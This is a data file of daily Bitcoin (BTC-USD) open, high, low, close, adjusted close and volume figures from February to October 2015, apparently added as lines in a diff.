+2015-02-05,226.5800018310547,229.85000610351562,214.35000610351562,216.52000427246094,216.52000427246094,9055713,BTC-USD +2015-02-06,216.52000427246094,226.16000366210938,215.64999389648438,222.9600067138672,222.9600067138672,11628519,BTC-USD +2015-02-07,222.9600067138672,231.0,222.3800048828125,227.67999267578125,227.67999267578125,9046632,BTC-USD +2015-02-08,227.67999267578125,230.22999572753906,219.5,223.6699981689453,223.6699981689453,6564922,BTC-USD +2015-02-09,223.6699981689453,225.0,215.66000366210938,220.33999633789062,220.33999633789062,20192733,BTC-USD +2015-02-10,220.33999633789062,222.19000244140625,214.44000244140625,219.6699981689453,219.6699981689453,18877297,BTC-USD +2015-02-11,219.6699981689453,223.52999877929688,217.27999877929688,218.8300018310547,218.8300018310547,15909377,BTC-USD +2015-02-12,218.8300018310547,223.0,217.3000030517578,221.7899932861328,221.7899932861328,11084499,BTC-USD +2015-02-13,221.7899932861328,241.5800018310547,220.6199951171875,236.1699981689453,236.1699981689453,26243104,BTC-USD +2015-02-14,236.1699981689453,261.25,235.3800048828125,258.6400146484375,258.6400146484375,33313626,BTC-USD +2015-02-15,258.6400146484375,264.57000732421875,226.55999755859375,233.27000427246094,233.27000427246094,43921119,BTC-USD +2015-02-16,233.27000427246094,240.02999877929688,228.00999450683594,235.8300018310547,235.8300018310547,27187677,BTC-USD +2015-02-17,235.8300018310547,247.1699981689453,232.02999877929688,243.1999969482422,243.1999969482422,27926884,BTC-USD +2015-02-18,243.1999969482422,245.50999450683594,231.6999969482422,235.1999969482422,235.1999969482422,23813015,BTC-USD +2015-02-19,235.1999969482422,244.11000061035156,234.8699951171875,241.9199981689453,241.9199981689453,15852470,BTC-USD +2015-02-20,241.9199981689453,247.75999450683594,238.8300018310547,244.52000427246094,244.52000427246094,20434846,BTC-USD +2015-02-21,244.52000427246094,247.32000732421875,242.64999389648438,244.41000366210938,244.41000366210938,10570761,BTC-USD +2015-02-22,244.41000366210938,246.5399932861328,232.72000122070312,235.72999572753906,235.72999572753906,18107359,BTC-USD +2015-02-23,235.72999572753906,240.05999755859375,231.3300018310547,238.82000732421875,238.82000732421875,14856549,BTC-USD +2015-02-24,238.82000732421875,240.25,235.5,238.88999938964844,238.88999938964844,10787951,BTC-USD +2015-02-25,238.88999938964844,239.63999938964844,234.58999633789062,237.3300018310547,237.3300018310547,9092357,BTC-USD +2015-02-26,237.3300018310547,238.1699981689453,233.5,236.52999877929688,236.52999877929688,12064967,BTC-USD +2015-02-27,236.52999877929688,258.7200012207031,235.6999969482422,253.47000122070312,253.47000122070312,42282820,BTC-USD +2015-02-28,253.47000122070312,255.39999389648438,248.72999572753906,254.05999755859375,254.05999755859375,9999594,BTC-USD +2015-03-01,254.05999755859375,260.6499938964844,244.77000427246094,257.94000244140625,257.94000244140625,12964061,BTC-USD +2015-03-02,257.94000244140625,274.79998779296875,256.1499938964844,273.75,273.75,21562624,BTC-USD +2015-03-03,273.75,287.05999755859375,266.1199951171875,280.6499938964844,280.6499938964844,45650597,BTC-USD +2015-03-04,280.6499938964844,284.4700012207031,265.9100036621094,271.9200134277344,271.9200134277344,38656923,BTC-USD +2015-03-05,271.9200134277344,280.8399963378906,262.80999755859375,275.2300109863281,275.2300109863281,33599454,BTC-USD +2015-03-06,275.2300109863281,277.989990234375,269.0199890136719,272.55999755859375,272.55999755859375,27014943,BTC-USD +2015-03-07,272.55999755859375,278.25,269.4100036621094,274.9100036621094,274.9100036621094,16708000,BTC-USD +2015-03-08,274.9100036621094,278.7799987792969,271.30999755859375,274.489990234375,274.489990234375,13902830,BTC-USD +2015-03-09,274.489990234375,293.260009765625,273.7900085449219,290.0199890136719,290.0199890136719,43259194,BTC-USD +2015-03-10,290.0199890136719,300.9599914550781,288.1199951171875,291.3699951171875,291.3699951171875,46657647,BTC-USD +2015-03-11,291.3699951171875,297.6600036621094,288.8800048828125,295.6000061035156,295.6000061035156,23542829,BTC-USD +2015-03-12,295.6000061035156,296.9800109863281,290.8299865722656,293.8500061035156,293.8500061035156,31607747,BTC-USD +2015-03-13,293.8500061035156,294.9200134277344,286.0799865722656,287.2099914550781,287.2099914550781,28288614,BTC-USD +2015-03-14,287.2099914550781,288.3999938964844,279.29998779296875,281.6000061035156,281.6000061035156,21495879,BTC-USD +2015-03-15,281.6000061035156,286.3900146484375,280.3699951171875,284.8800048828125,284.8800048828125,11238833,BTC-USD +2015-03-16,284.8800048828125,294.010009765625,284.7699890136719,290.4100036621094,290.4100036621094,19355605,BTC-USD +2015-03-17,290.4100036621094,292.4599914550781,283.25,285.3800048828125,285.3800048828125,18775700,BTC-USD +2015-03-18,285.3800048828125,285.6499938964844,248.19000244140625,255.9199981689453,255.9199981689453,55391241,BTC-USD +2015-03-19,255.9199981689453,264.79998779296875,247.0,260.92999267578125,260.92999267578125,46525086,BTC-USD +2015-03-20,260.92999267578125,264.7099914550781,257.8500061035156,261.7799987792969,261.7799987792969,13853175,BTC-USD +2015-03-21,261.7799987792969,263.260009765625,254.02000427246094,259.7099914550781,259.7099914550781,13413360,BTC-USD +2015-03-22,259.7099914550781,270.4200134277344,259.0,268.57000732421875,268.57000732421875,14980752,BTC-USD +2015-03-23,268.57000732421875,271.010009765625,259.3800048828125,265.4599914550781,265.4599914550781,21749937,BTC-USD +2015-03-24,265.4599914550781,267.0199890136719,242.6699981689453,246.72000122070312,246.72000122070312,38033136,BTC-USD +2015-03-25,246.72000122070312,249.2100067138672,234.83999633789062,246.3699951171875,246.3699951171875,32092197,BTC-USD +2015-03-26,246.3699951171875,254.69000244140625,243.52000427246094,248.02000427246094,248.02000427246094,22412560,BTC-USD +2015-03-27,248.02000427246094,250.0500030517578,244.47000122070312,247.2100067138672,247.2100067138672,15543779,BTC-USD +2015-03-28,247.2100067138672,254.25,246.27999877929688,252.02000427246094,252.02000427246094,13890988,BTC-USD +2015-03-29,252.02000427246094,252.80999755859375,238.92999267578125,242.0800018310547,242.0800018310547,18971340,BTC-USD +2015-03-30,242.0800018310547,248.8300018310547,236.5500030517578,246.7899932861328,246.7899932861328,20963830,BTC-USD +2015-03-31,246.7899932861328,248.6999969482422,241.17999267578125,244.14999389648438,244.14999389648438,18515676,BTC-USD +2015-04-01,244.14999389648438,247.6699981689453,239.57000732421875,246.24000549316406,246.24000549316406,16412525,BTC-USD +2015-04-02,246.24000549316406,254.85000610351562,244.25,252.60000610351562,252.60000610351562,20354036,BTC-USD +2015-04-03,252.60000610351562,256.5299987792969,251.25999450683594,254.47999572753906,254.47999572753906,18264452,BTC-USD +2015-04-04,254.47999572753906,255.24000549316406,250.30999755859375,252.88999938964844,252.88999938964844,7805160,BTC-USD +2015-04-05,252.88999938964844,260.260009765625,250.60000610351562,259.6400146484375,259.6400146484375,11277271,BTC-USD +2015-04-06,259.6400146484375,261.45001220703125,252.32000732421875,254.97000122070312,254.97000122070312,11857398,BTC-USD +2015-04-07,254.97000122070312,255.60000610351562,250.14999389648438,252.97000122070312,252.97000122070312,11401051,BTC-USD +2015-04-08,252.97000122070312,254.25999450683594,242.57000732421875,244.57000732421875,244.57000732421875,25401433,BTC-USD +2015-04-09,244.57000732421875,246.22000122070312,237.6199951171875,243.32000732421875,243.32000732421875,16846896,BTC-USD +2015-04-10,243.32000732421875,244.11000061035156,231.3000030517578,234.72999572753906,234.72999572753906,23728422,BTC-USD +2015-04-11,234.72999572753906,240.0,233.1199951171875,236.47999572753906,236.47999572753906,12319489,BTC-USD +2015-04-12,236.47999572753906,237.52000427246094,232.27000427246094,235.85000610351562,235.85000610351562,7814533,BTC-USD +2015-04-13,235.85000610351562,236.75,220.36000061035156,223.58999633789062,223.58999633789062,23982950,BTC-USD +2015-04-14,223.58999633789062,224.72000122070312,214.27000427246094,217.99000549316406,217.99000549316406,25315606,BTC-USD +2015-04-15,217.99000549316406,223.55999755859375,217.14999389648438,222.97000122070312,222.97000122070312,17099352,BTC-USD +2015-04-16,222.97000122070312,229.52999877929688,222.8699951171875,227.97999572753906,227.97999572753906,19315044,BTC-USD +2015-04-17,227.97999572753906,229.27999877929688,220.55999755859375,222.58999633789062,222.58999633789062,15015559,BTC-USD +2015-04-18,222.58999633789062,224.47000122070312,220.57000732421875,223.35000610351562,223.35000610351562,8152434,BTC-USD +2015-04-19,223.35000610351562,226.94000244140625,221.9600067138672,223.02000427246094,223.02000427246094,7984589,BTC-USD +2015-04-20,223.02000427246094,226.72000122070312,221.5800018310547,224.24000549316406,224.24000549316406,10082693,BTC-USD +2015-04-21,224.24000549316406,235.27000427246094,223.2899932861328,233.72999572753906,233.72999572753906,15658818,BTC-USD +2015-04-22,233.72999572753906,238.39999389648438,231.8000030517578,233.77999877929688,233.77999877929688,18280060,BTC-USD +2015-04-23,233.77999877929688,236.1199951171875,232.5800018310547,235.39999389648438,235.39999389648438,9982620,BTC-USD +2015-04-24,235.39999389648438,236.5500030517578,229.05999755859375,231.08999633789062,231.08999633789062,16221169,BTC-USD +2015-04-25,231.08999633789062,232.2899932861328,223.0500030517578,226.13999938964844,226.13999938964844,10015666,BTC-USD +2015-04-26,226.13999938964844,226.72000122070312,214.13999938964844,218.6999969482422,218.6999969482422,22088733,BTC-USD +2015-04-27,218.6999969482422,242.64999389648438,216.60000610351562,228.9600067138672,228.9600067138672,27696437,BTC-USD +2015-04-28,228.9600067138672,229.8699951171875,222.02999877929688,225.80999755859375,225.80999755859375,14896418,BTC-USD +2015-04-29,225.80999755859375,227.24000549316406,222.25,225.4199981689453,225.4199981689453,13743340,BTC-USD +2015-04-30,225.4199981689453,240.00999450683594,224.67999267578125,235.77000427246094,235.77000427246094,26242196,BTC-USD +2015-05-01,235.77000427246094,239.4199981689453,232.3800048828125,233.2100067138672,233.2100067138672,14178420,BTC-USD +2015-05-02,233.2100067138672,236.3800048828125,231.72999572753906,235.33999633789062,235.33999633789062,8703582,BTC-USD +2015-05-03,235.33999633789062,243.5800018310547,233.8000030517578,239.99000549316406,239.99000549316406,13389153,BTC-USD +2015-05-04,239.99000549316406,243.1999969482422,237.4499969482422,238.97000122070312,238.97000122070312,16599243,BTC-USD +2015-05-05,238.97000122070312,239.61000061035156,231.77999877929688,235.82000732421875,235.82000732421875,18333196,BTC-USD +2015-05-06,235.82000732421875,237.14999389648438,228.24000549316406,230.02999877929688,230.02999877929688,24127653,BTC-USD +2015-05-07,230.02999877929688,240.25,228.3300018310547,237.72999572753906,237.72999572753906,21315971,BTC-USD +2015-05-08,237.72999572753906,247.00999450683594,235.77000427246094,243.74000549316406,243.74000549316406,21226000,BTC-USD +2015-05-09,243.74000549316406,247.8699951171875,238.52000427246094,241.39999389648438,241.39999389648438,15281109,BTC-USD +2015-05-10,241.39999389648438,244.82000732421875,238.22999572753906,239.9600067138672,239.9600067138672,10634289,BTC-USD +2015-05-11,239.9600067138672,243.9499969482422,238.86000061035156,241.80999755859375,241.80999755859375,13819530,BTC-USD +2015-05-12,241.80999755859375,243.0,239.17999267578125,241.5800018310547,241.5800018310547,9712214,BTC-USD +2015-05-13,241.5800018310547,243.91000366210938,234.07000732421875,236.3800048828125,236.3800048828125,20329395,BTC-USD +2015-05-14,236.3800048828125,239.1699981689453,232.36000061035156,236.89999389648438,236.89999389648438,16833656,BTC-USD +2015-05-15,236.89999389648438,238.8300018310547,235.52999877929688,237.1999969482422,237.1999969482422,10932777,BTC-USD +2015-05-16,237.1999969482422,237.77999877929688,234.57000732421875,236.22999572753906,236.22999572753906,6415070,BTC-USD +2015-05-17,236.22999572753906,237.77000427246094,235.35000610351562,236.3000030517578,236.3000030517578,6738302,BTC-USD +2015-05-18,236.3000030517578,237.10000610351562,231.4600067138672,232.63999938964844,232.63999938964844,12516261,BTC-USD +2015-05-19,232.63999938964844,234.5,231.27000427246094,232.02000427246094,232.02000427246094,9550029,BTC-USD +2015-05-20,232.02000427246094,235.1699981689453,231.47000122070312,233.9600067138672,233.9600067138672,11626735,BTC-USD +2015-05-21,233.9600067138672,236.64999389648438,233.61000061035156,235.3800048828125,235.3800048828125,10114419,BTC-USD +2015-05-22,235.3800048828125,242.0,234.55999755859375,240.3699951171875,240.3699951171875,17630641,BTC-USD +2015-05-23,240.3699951171875,241.72999572753906,238.0500030517578,238.94000244140625,238.94000244140625,8659651,BTC-USD +2015-05-24,238.94000244140625,242.38999938964844,237.47999572753906,240.97999572753906,240.97999572753906,7278251,BTC-USD +2015-05-25,240.97999572753906,241.7899932861328,235.80999755859375,237.41000366210938,237.41000366210938,6301300,BTC-USD +2015-05-26,237.41000366210938,238.99000549316406,235.5800018310547,237.83999633789062,237.83999633789062,8842430,BTC-USD +2015-05-27,237.83999633789062,238.9499969482422,235.88999938964844,237.2899932861328,237.2899932861328,11445501,BTC-USD +2015-05-28,237.2899932861328,238.41000366210938,236.22999572753906,237.32000732421875,237.32000732421875,8508673,BTC-USD +2015-05-29,237.32000732421875,237.88999938964844,235.1300048828125,237.02999877929688,237.02999877929688,9241377,BTC-USD +2015-05-30,237.02999877929688,237.05999755859375,231.58999633789062,233.22000122070312,233.22000122070312,9738568,BTC-USD +2015-05-31,233.22000122070312,233.99000549316406,229.1300048828125,229.83999633789062,229.83999633789062,9036624,BTC-USD +2015-06-01,229.83999633789062,231.75999450683594,220.97000122070312,223.13999938964844,223.13999938964844,19658919,BTC-USD +2015-06-02,223.13999938964844,227.44000244140625,222.25,225.74000549316406,225.74000549316406,13666049,BTC-USD +2015-06-03,225.74000549316406,227.86000061035156,223.69000244140625,225.58999633789062,225.58999633789062,12279838,BTC-USD +2015-06-04,225.58999633789062,226.7100067138672,223.49000549316406,224.22000122070312,224.22000122070312,9934190,BTC-USD +2015-06-05,224.22000122070312,226.36000061035156,222.14999389648438,225.2899932861328,225.2899932861328,12703848,BTC-USD +2015-06-06,225.2899932861328,225.75999450683594,223.52999877929688,224.74000549316406,224.74000549316406,5074897,BTC-USD +2015-06-07,224.74000549316406,226.36000061035156,222.2100067138672,223.47000122070312,223.47000122070312,9097310,BTC-USD +2015-06-08,223.47000122070312,229.91000366210938,222.99000549316406,228.57000732421875,228.57000732421875,16824026,BTC-USD +2015-06-09,228.57000732421875,231.36000061035156,227.50999450683594,229.55999755859375,229.55999755859375,12617632,BTC-USD +2015-06-10,229.55999755859375,230.44000244140625,227.83999633789062,228.7899932861328,228.7899932861328,9556657,BTC-USD +2015-06-11,228.7899932861328,230.63999938964844,228.5399932861328,229.8800048828125,229.8800048828125,8745318,BTC-USD +2015-06-12,229.8800048828125,231.5800018310547,229.2899932861328,230.4600067138672,230.4600067138672,9406856,BTC-USD +2015-06-13,230.4600067138672,233.13999938964844,229.00999450683594,232.47999572753906,232.47999572753906,8803491,BTC-USD +2015-06-14,232.47999572753906,235.50999450683594,232.08999633789062,233.75,233.75,7700053,BTC-USD +2015-06-15,233.75,238.5500030517578,233.2899932861328,237.0,237.0,15006949,BTC-USD +2015-06-16,237.0,254.14999389648438,235.6999969482422,249.82000732421875,249.82000732421875,29956654,BTC-USD +2015-06-17,249.82000732421875,258.4800109863281,245.08999633789062,247.3800048828125,247.3800048828125,30652977,BTC-USD +2015-06-18,247.3800048828125,251.9499969482422,242.4600067138672,248.44000244140625,248.44000244140625,19421567,BTC-USD +2015-06-19,248.44000244140625,250.80999755859375,243.64999389648438,244.1300048828125,244.1300048828125,20914718,BTC-USD +2015-06-20,244.1300048828125,246.6300048828125,238.6999969482422,244.97999572753906,244.97999572753906,12470598,BTC-USD +2015-06-21,244.97999572753906,246.02999877929688,240.94000244140625,244.10000610351562,244.10000610351562,6140997,BTC-USD +2015-06-22,244.10000610351562,248.60000610351562,243.16000366210938,247.4600067138672,247.4600067138672,11713076,BTC-USD +2015-06-23,247.4600067138672,247.6699981689453,242.32000732421875,243.75999450683594,243.75999450683594,9432470,BTC-USD +2015-06-24,243.75999450683594,244.50999450683594,239.0500030517578,240.55999755859375,240.55999755859375,11415709,BTC-USD +2015-06-25,240.55999755859375,243.64999389648438,239.32000732421875,242.55999755859375,242.55999755859375,9791297,BTC-USD +2015-06-26,242.55999755859375,243.49000549316406,240.13999938964844,242.9499969482422,242.9499969482422,9112156,BTC-USD +2015-06-27,242.9499969482422,251.57000732421875,241.8300018310547,250.72999572753906,250.72999572753906,13525813,BTC-USD +2015-06-28,250.72999572753906,251.58999633789062,246.6199951171875,248.8800048828125,248.8800048828125,9955671,BTC-USD +2015-06-29,248.8800048828125,257.5400085449219,247.9600067138672,256.9700012207031,256.9700012207031,23504772,BTC-USD +2015-06-30,256.9700012207031,268.7300109863281,255.3699951171875,264.1199951171875,264.1199951171875,30621602,BTC-USD +2015-07-01,264.1199951171875,265.0,254.41000366210938,257.6199951171875,257.6199951171875,17316801,BTC-USD +2015-07-02,257.6199951171875,261.2900085449219,253.08999633789062,254.8800048828125,254.8800048828125,11560214,BTC-USD +2015-07-03,254.8800048828125,256.7099914550781,252.44000244140625,255.39999389648438,255.39999389648438,9335969,BTC-USD +2015-07-04,255.39999389648438,261.0799865722656,253.3699951171875,260.54998779296875,260.54998779296875,8502000,BTC-USD +2015-07-05,260.54998779296875,274.1400146484375,257.6099853515625,270.1400146484375,270.1400146484375,12906220,BTC-USD +2015-07-06,270.1400146484375,277.4800109863281,266.4599914550781,269.0799865722656,269.0799865722656,14242625,BTC-USD +2015-07-07,269.0799865722656,271.3399963378906,263.2099914550781,266.2099914550781,266.2099914550781,11104556,BTC-USD +2015-07-08,266.2099914550781,273.57000732421875,263.17999267578125,268.6400146484375,268.6400146484375,12157995,BTC-USD +2015-07-09,268.6400146484375,272.30999755859375,265.1300048828125,269.1400146484375,269.1400146484375,13058350,BTC-USD +2015-07-10,269.1400146484375,297.8500061035156,266.9100036621094,283.6199951171875,283.6199951171875,33254590,BTC-USD +2015-07-11,283.6199951171875,298.760009765625,282.2799987792969,291.9700012207031,291.9700012207031,13584989,BTC-USD +2015-07-12,291.9700012207031,315.8800048828125,291.260009765625,310.44000244140625,310.44000244140625,36866127,BTC-USD +2015-07-13,310.44000244140625,310.8800048828125,276.8500061035156,290.3500061035156,290.3500061035156,42741263,BTC-USD +2015-07-14,290.3500061035156,296.9599914550781,285.1700134277344,286.9599914550781,286.9599914550781,17635928,BTC-USD +2015-07-15,286.9599914550781,292.9200134277344,283.1700134277344,283.4200134277344,283.4200134277344,17274148,BTC-USD +2015-07-16,283.4200134277344,290.8399963378906,273.2799987792969,276.5899963378906,276.5899963378906,34155564,BTC-USD +2015-07-17,276.5899963378906,280.760009765625,271.1700134277344,279.6199951171875,279.6199951171875,17217352,BTC-USD +2015-07-18,279.6199951171875,282.5299987792969,243.24000549316406,274.04998779296875,274.04998779296875,15358107,BTC-USD +2015-07-19,274.04998779296875,277.07000732421875,271.8500061035156,273.17999267578125,273.17999267578125,8322466,BTC-USD +2015-07-20,273.17999267578125,278.8500061035156,271.82000732421875,277.67999267578125,277.67999267578125,12900609,BTC-USD +2015-07-21,277.67999267578125,281.04998779296875,274.19000244140625,275.0899963378906,275.0899963378906,13667891,BTC-USD +2015-07-22,275.0899963378906,277.3900146484375,273.1199951171875,276.4599914550781,276.4599914550781,11596311,BTC-USD +2015-07-23,276.4599914550781,277.8500061035156,274.4700012207031,275.5199890136719,275.5199890136719,9870635,BTC-USD +2015-07-24,275.5199890136719,289.80999755859375,274.260009765625,288.3699951171875,288.3699951171875,21095041,BTC-USD +2015-07-25,288.3699951171875,291.239990234375,284.6700134277344,288.739990234375,288.739990234375,12024889,BTC-USD +2015-07-26,288.739990234375,293.2799987792969,286.7699890136719,291.7699890136719,291.7699890136719,9038050,BTC-USD +2015-07-27,291.7699890136719,295.7900085449219,285.3999938964844,293.010009765625,293.010009765625,20358325,BTC-USD +2015-07-28,293.010009765625,296.67999267578125,291.6700134277344,293.70001220703125,293.70001220703125,14466428,BTC-USD +2015-07-29,293.70001220703125,294.7200012207031,286.8900146484375,288.3699951171875,288.3699951171875,14738216,BTC-USD +2015-07-30,288.3699951171875,289.8900146484375,284.9100036621094,287.0199890136719,287.0199890136719,12888680,BTC-USD +2015-07-31,287.0199890136719,288.69000244140625,280.7699890136719,283.7300109863281,283.7300109863281,14019071,BTC-USD +2015-08-01,283.7300109863281,284.5299987792969,276.29998779296875,280.4700012207031,280.4700012207031,11068826,BTC-USD +2015-08-02,280.4700012207031,282.5,275.92999267578125,281.3599853515625,281.3599853515625,9978638,BTC-USD +2015-08-03,281.3599853515625,285.0,278.94000244140625,281.5799865722656,281.5799865722656,13006246,BTC-USD +2015-08-04,281.5799865722656,285.6600036621094,279.5799865722656,284.29998779296875,284.29998779296875,12732203,BTC-USD +2015-08-05,284.29998779296875,285.45001220703125,280.5299987792969,281.7200012207031,281.7200012207031,10854754,BTC-USD +2015-08-06,281.7200012207031,281.9800109863281,276.4599914550781,278.0,278.0,9319083,BTC-USD +2015-08-07,278.0,279.6000061035156,274.2799987792969,277.8900146484375,277.8900146484375,11919665,BTC-USD +2015-08-08,277.8900146484375,278.9200134277344,257.4200134277344,258.6000061035156,258.6000061035156,22308123,BTC-USD +2015-08-09,258.6000061035156,266.75,258.55999755859375,263.8699951171875,263.8699951171875,15154749,BTC-USD +2015-08-10,263.8699951171875,266.6300048828125,260.5199890136719,263.29998779296875,263.29998779296875,12873441,BTC-USD +2015-08-11,263.29998779296875,269.8999938964844,261.44000244140625,269.0299987792969,269.0299987792969,13681939,BTC-USD +2015-08-12,269.0299987792969,271.5,263.6600036621094,267.6600036621094,267.6600036621094,15232934,BTC-USD +2015-08-13,267.6600036621094,268.3900146484375,261.2799987792969,263.44000244140625,263.44000244140625,14962211,BTC-USD +2015-08-14,263.44000244140625,267.2200012207031,260.2099914550781,265.0299987792969,265.0299987792969,13899139,BTC-USD +2015-08-15,265.0299987792969,266.54998779296875,259.3800048828125,260.5199890136719,260.5199890136719,10303301,BTC-USD +2015-08-16,260.5199890136719,261.9200134277344,254.57000732421875,257.1199951171875,257.1199951171875,17880398,BTC-USD +2015-08-17,257.1199951171875,259.92999267578125,252.8699951171875,257.1300048828125,257.1300048828125,12378054,BTC-USD +2015-08-18,257.1300048828125,257.5299987792969,245.74000549316406,246.72000122070312,246.72000122070312,23896056,BTC-USD +2015-08-19,246.72000122070312,247.9499969482422,214.2899932861328,226.0,226.0,55514712,BTC-USD +2015-08-20,226.0,238.02999877929688,225.5399932861328,234.66000366210938,234.66000366210938,21225055,BTC-USD +2015-08-21,234.66000366210938,236.3000030517578,230.47999572753906,232.39999389648438,232.39999389648438,13485729,BTC-USD +2015-08-22,232.39999389648438,235.07000732421875,221.0399932861328,229.5399932861328,229.5399932861328,16976922,BTC-USD +2015-08-23,229.5399932861328,232.6999969482422,224.27000427246094,226.75,226.75,11204081,BTC-USD +2015-08-24,226.75,228.42999267578125,207.82000732421875,211.42999267578125,211.42999267578125,43008579,BTC-USD +2015-08-25,211.42999267578125,226.5500030517578,196.25999450683594,220.50999450683594,220.50999450683594,40651749,BTC-USD +2015-08-26,220.50999450683594,230.69000244140625,218.7899932861328,224.97000122070312,224.97000122070312,20986286,BTC-USD +2015-08-27,224.97000122070312,228.44000244140625,222.0,222.72999572753906,222.72999572753906,13631111,BTC-USD +2015-08-28,222.72999572753906,234.80999755859375,219.60000610351562,231.63999938964844,231.63999938964844,20751420,BTC-USD +2015-08-29,231.63999938964844,233.08999633789062,226.35000610351562,228.5,228.5,10072201,BTC-USD +2015-08-30,228.5,232.32000732421875,225.44000244140625,228.39999389648438,228.39999389648438,9118089,BTC-USD +2015-08-31,228.39999389648438,231.7899932861328,224.1999969482422,229.47000122070312,229.47000122070312,12521966,BTC-USD +2015-09-01,229.47000122070312,231.4499969482422,225.75999450683594,227.17999267578125,227.17999267578125,15206241,BTC-USD +2015-09-02,227.17999267578125,230.58999633789062,225.57000732421875,228.6300048828125,228.6300048828125,13443780,BTC-USD +2015-09-03,228.6300048828125,229.6199951171875,225.36000061035156,226.1999969482422,226.1999969482422,12337406,BTC-USD +2015-09-04,226.1999969482422,231.05999755859375,225.75,230.25,230.25,14174313,BTC-USD +2015-09-05,230.25,235.61000061035156,228.2899932861328,233.6699981689453,233.6699981689453,11253257,BTC-USD +2015-09-06,233.6699981689453,243.63999938964844,234.74000549316406,239.86000061035156,239.86000061035156,15939620,BTC-USD +2015-09-07,239.86000061035156,242.66000366210938,237.49000549316406,239.5800018310547,239.5800018310547,13744695,BTC-USD +2015-09-08,239.5800018310547,246.3800048828125,239.22999572753906,243.24000549316406,243.24000549316406,18605471,BTC-USD +2015-09-09,243.24000549316406,244.33999633789062,236.49000549316406,237.41000366210938,237.41000366210938,16636258,BTC-USD +2015-09-10,237.41000366210938,240.6300048828125,234.30999755859375,238.0800018310547,238.0800018310547,14447606,BTC-USD +2015-09-11,238.0800018310547,241.02000427246094,237.3800048828125,239.89999389648438,239.89999389648438,10992443,BTC-USD +2015-09-12,239.89999389648438,240.32000732421875,233.32000732421875,235.60000610351562,235.60000610351562,10407178,BTC-USD +2015-09-13,235.60000610351562,236.16000366210938,228.27999877929688,230.19000244140625,230.19000244140625,11983360,BTC-USD +2015-09-14,230.19000244140625,232.63999938964844,225.9600067138672,229.91000366210938,229.91000366210938,14070910,BTC-USD +2015-09-15,229.91000366210938,242.8300018310547,228.02999877929688,229.52999877929688,229.52999877929688,11425472,BTC-USD +2015-09-16,229.52999877929688,230.88999938964844,225.0500030517578,228.60000610351562,228.60000610351562,11866728,BTC-USD +2015-09-17,228.60000610351562,235.1699981689453,227.9499969482422,232.72000122070312,232.72000122070312,12975914,BTC-USD +2015-09-18,232.72000122070312,234.69000244140625,230.5800018310547,232.2100067138672,232.2100067138672,12397851,BTC-USD +2015-09-19,232.2100067138672,233.35000610351562,230.2100067138672,231.11000061035156,231.11000061035156,8004103,BTC-USD +2015-09-20,231.11000061035156,232.6699981689453,229.92999267578125,231.08999633789062,231.08999633789062,7676869,BTC-USD +2015-09-21,231.08999633789062,231.6300048828125,225.0,226.3300018310547,226.3300018310547,12180039,BTC-USD +2015-09-22,226.3300018310547,233.24000549316406,224.07000732421875,230.00999450683594,230.00999450683594,16390021,BTC-USD +2015-09-23,230.00999450683594,232.1999969482422,228.5,229.88999938964844,229.88999938964844,10064288,BTC-USD +2015-09-24,229.88999938964844,235.83999633789062,229.57000732421875,233.75999450683594,233.75999450683594,16797644,BTC-USD +2015-09-25,233.75999450683594,237.5800018310547,232.6999969482422,235.02999877929688,235.02999877929688,14510987,BTC-USD +2015-09-26,235.02999877929688,235.7100067138672,232.74000549316406,234.3000030517578,234.3000030517578,9449846,BTC-USD +2015-09-27,234.3000030517578,234.75,231.83999633789062,232.5,232.5,8429802,BTC-USD +2015-09-28,232.5,240.38999938964844,232.3699951171875,238.8699951171875,238.8699951171875,15282768,BTC-USD +2015-09-29,238.8699951171875,240.38999938964844,234.8000030517578,236.7100067138672,236.7100067138672,13637645,BTC-USD +2015-09-30,236.7100067138672,237.8300018310547,234.38999938964844,235.92999267578125,235.92999267578125,11946864,BTC-USD +2015-10-01,235.92999267578125,238.66000366210938,234.6999969482422,237.0500030517578,237.0500030517578,12534482,BTC-USD +2015-10-02,237.0500030517578,238.4499969482422,235.13999938964844,236.7100067138672,236.7100067138672,11378441,BTC-USD +2015-10-03,236.7100067138672,239.52000427246094,236.07000732421875,238.5800018310547,238.5800018310547,10338780,BTC-USD +2015-10-04,238.5800018310547,277.5799865722656,237.50999450683594,238.3300018310547,238.3300018310547,7618430,BTC-USD +2015-10-05,238.3300018310547,240.52999877929688,236.41000366210938,240.14999389648438,240.14999389648438,14631928,BTC-USD +2015-10-06,240.14999389648438,247.61000061035156,239.36000061035156,246.13999938964844,246.13999938964844,19242190,BTC-USD +2015-10-07,246.13999938964844,247.27999877929688,241.64999389648438,242.97999572753906,242.97999572753906,15363142,BTC-USD +2015-10-08,242.97999572753906,244.7899932861328,241.57000732421875,242.5800018310547,242.5800018310547,10762328,BTC-USD +2015-10-09,242.5800018310547,244.55999755859375,241.33999633789062,244.0399932861328,244.0399932861328,9897714,BTC-USD +2015-10-10,244.0399932861328,245.92999267578125,242.88999938964844,245.35000610351562,245.35000610351562,9547124,BTC-USD +2015-10-11,245.35000610351562,248.25999450683594,244.47000122070312,247.64999389648438,247.64999389648438,10232454,BTC-USD +2015-10-12,247.64999389648438,248.02000427246094,244.64999389648438,245.35000610351562,245.35000610351562,9961674,BTC-USD +2015-10-13,245.35000610351562,251.19000244140625,243.11000061035156,248.77999877929688,248.77999877929688,18553307,BTC-USD +2015-10-14,248.77999877929688,255.05999755859375,248.27999877929688,252.3300018310547,252.3300018310547,17511356,BTC-USD +2015-10-15,252.3300018310547,256.760009765625,251.1699981689453,254.44000244140625,254.44000244140625,15465023,BTC-USD +2015-10-16,254.44000244140625,267.2699890136719,253.92999267578125,262.8699951171875,262.8699951171875,24886162,BTC-USD +2015-10-17,262.8699951171875,275.4100036621094,261.739990234375,269.5799865722656,269.5799865722656,30715446,BTC-USD +2015-10-18,269.5799865722656,272.44000244140625,259.5299987792969,261.6700134277344,261.6700134277344,13921233,BTC-USD +2015-10-19,261.6700134277344,265.95001220703125,259.8900146484375,263.82000732421875,263.82000732421875,15352671,BTC-USD +2015-10-20,263.82000732421875,272.1199951171875,262.70001220703125,269.75,269.75,20200355,BTC-USD +2015-10-21,269.75,272.1700134277344,263.5400085449219,267.1099853515625,267.1099853515625,16006977,BTC-USD +2015-10-22,267.1099853515625,278.739990234375,266.79998779296875,274.4200134277344,274.4200134277344,25481882,BTC-USD +2015-10-23,274.4200134277344,279.7699890136719,273.1700134277344,276.9200134277344,276.9200134277344,19221822,BTC-USD +2015-10-24,276.9200134277344,283.04998779296875,277.010009765625,282.55999755859375,282.55999755859375,16875626,BTC-USD +2015-10-25,282.55999755859375,295.55999755859375,281.75,287.8599853515625,287.8599853515625,32946170,BTC-USD 